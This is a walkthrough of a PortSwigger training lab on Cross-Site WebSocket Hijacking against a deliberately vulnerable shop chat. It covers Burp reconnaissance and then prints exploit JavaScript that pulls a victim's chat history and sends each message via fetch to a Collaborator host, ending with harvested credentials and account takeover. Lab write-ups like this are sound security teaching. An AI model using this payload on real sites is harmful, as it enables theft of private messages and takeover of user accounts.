[This lab demonstrates ](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking/lab)a **Cross-Site WebSocket Hijacking (CSWSH)** attack. In this scenario, an online shop uses a WebSocket-based live chat. Due to poor origin handling and missing CSRF protections, an attacker can initiate a WebSocket connection from a malicious site on behalf of a victim, retrieve sensitive chat history, and use this information to take over their account. The challenge: Craft a malicious HTML page on the provided exploit server that connects to the chat WebSocket, retrieves the victim’s chat messages, and exfiltrates them to our server for credential harvesting. --- ##### Understanding the Scenario Key points from initial reconnaissance: * The live chat loads previous messages via a WebSocket message (`READY` command). * The WebSocket handshake request lacks **CSRF tokens** and is authenticated only via cookies. * Cookies are automatically sent during cross-site WebSocket connections unless explicitly restricted by server configuration. * There’s no origin check on the WebSocket server, meaning **any website can open a connection** to it if the victim is logged in. This combination is what makes **Cross-Site WebSocket Hijacking** possible. --- ##### Reconnaissance Phase 1. **Open the live chat** in your own browser and send a test message. 2. **Reload the page** to trigger chat history retrieval. 3. In **Burp → Proxy → WebSockets**, observe the `READY` command fetching stored messages. 4. In **Burp → Proxy → HTTP history**, locate the **WebSocket handshake request**: ``` GET /chat HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: ... Origin: https://YOUR-LAB-ID.web-security-academy.net Cookie: session=... ``` Note: No CSRF protection, and authentication relies solely on cookies. 5. Right-click the handshake request → **Copy URL** (we’ll adapt it for our payload). --- ##### Building the Exploit We’ll host malicious JavaScript on the exploit server. The attack chain is: * **Victim visits attacker’s page**. * The page opens a WebSocket connection to the target chat endpoint. * Sends the `READY` command to fetch all previous messages. * On receiving each message, forwards the content to our exfiltration endpoint (Burp Collaborator). **Exploit code:** ```html <script> var ws = new WebSocket('wss://YOUR-LAB-ID.web-security-academy.net/chat'); ws.onopen = function() { ws.send("READY"); }; ws.onmessage = function(event) { fetch('https://YOUR-COLLABORATOR-ID.burpcollaborator.net', { method: 'POST', mode: 'no-cors', body: event.data }); }; </script> ``` **Key adjustments:** * Replace `YOUR-LAB-ID` with the target lab’s ID from the handshake URL. * Change `https://` to `wss://` for WebSocket protocol. * Replace `YOUR-COLLABORATOR-ID.burpcollaborator.net` with your actual Collaborator payload. --- ##### Testing the Exploit 1. Paste the payload into the **Body** field on the exploit server. 2. Click **View exploit** — this triggers the attack from your browser, confirming the connection works. 3. Check **Burp → Collaborator** for incoming requests. Each HTTP request’s body should contain JSON-formatted chat messages. --- ##### Delivering the Exploit 1. On the exploit server, click **Deliver exploit to victim**. 2. Monitor the **Collaborator tab** again — now you should see new messages from the victim’s chat history. 3. Look through the captured data for the victim’s credentials: ``` {"username":"victim","password":"s3cret123"} ``` 4. Use these credentials to log into the victim’s account. ![[CleanShot 2025-08-13 at [email protected]]]